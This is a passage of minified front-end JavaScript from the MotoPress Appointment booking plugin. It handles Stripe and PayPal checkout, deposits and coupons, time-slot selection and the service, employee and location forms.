this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name=\"sepa_debit\",this.title=u(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Re extends Fe{setupProperties(){this.name=\"bancontact\",this.title=u(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name=\"ideal\",this.title=u(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name=\"giropay\",this.title=u(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name=\"sofort\",this.title=u(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),s=t.elements({mode:\"payment\",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case\"payment\":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Le(t,s,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Oe(t,s,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Re(t,s,this.settings);break;case\"ideal\":e.ideal=new Ne(t,s,this.settings);break;case\"giropay\":e.giropay=new Ve(t,s,this.settings);break;case\"sofort\":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||s.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,s){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),c(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(\".mpa-\"+i+\"-payment-gateway .mpa-billing-fields\"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new Ee(t,s);case\"paypal\":return new He(t,s);case\"stripe\":return new Ue(t,s);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s=\"\";return t>0&&(s+='\u003Ctable class=\"widefat\">',s+=\"\u003Ctbody>\",s+='\u003Ctr class=\"mpa-deposit-title\">',s+='\u003Ctd class=\"column-title\" colspan=\"2\">',s+=u(\"Deposit\",\"motopress-appointment\"),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-now\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Paying now\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=_e(e.deposit),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-left\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Left to pay\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=_e(t),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+=\"\u003C\u002Ftbody>\",s+=\"\u003C\u002Ftable>\"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){F(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,s){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;\"object\"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,s)=>s.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:i.employee_in?i.employee_in.join(\",\"):\"\",location_in:i.location_in?i.location_in.join(\",\"):\"\",date_from:f(t,\"internal\"),date_to:f(s,\"internal\"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=\" \",i+='\u003Cspan class=\"mpa-slot-capacity\">',i+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",i+=\"&nbsp;\",i+='\u003Cspan class=\"mpa-slot-capacity-number\">'+s+\"\u003C\u002Fspan>\",i+=\"\u003C\u002Fspan>\"}let r=ye(i,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),s++}s>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const s=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const s=j(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const s=j(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const s=j(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr(\"data-default\");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in 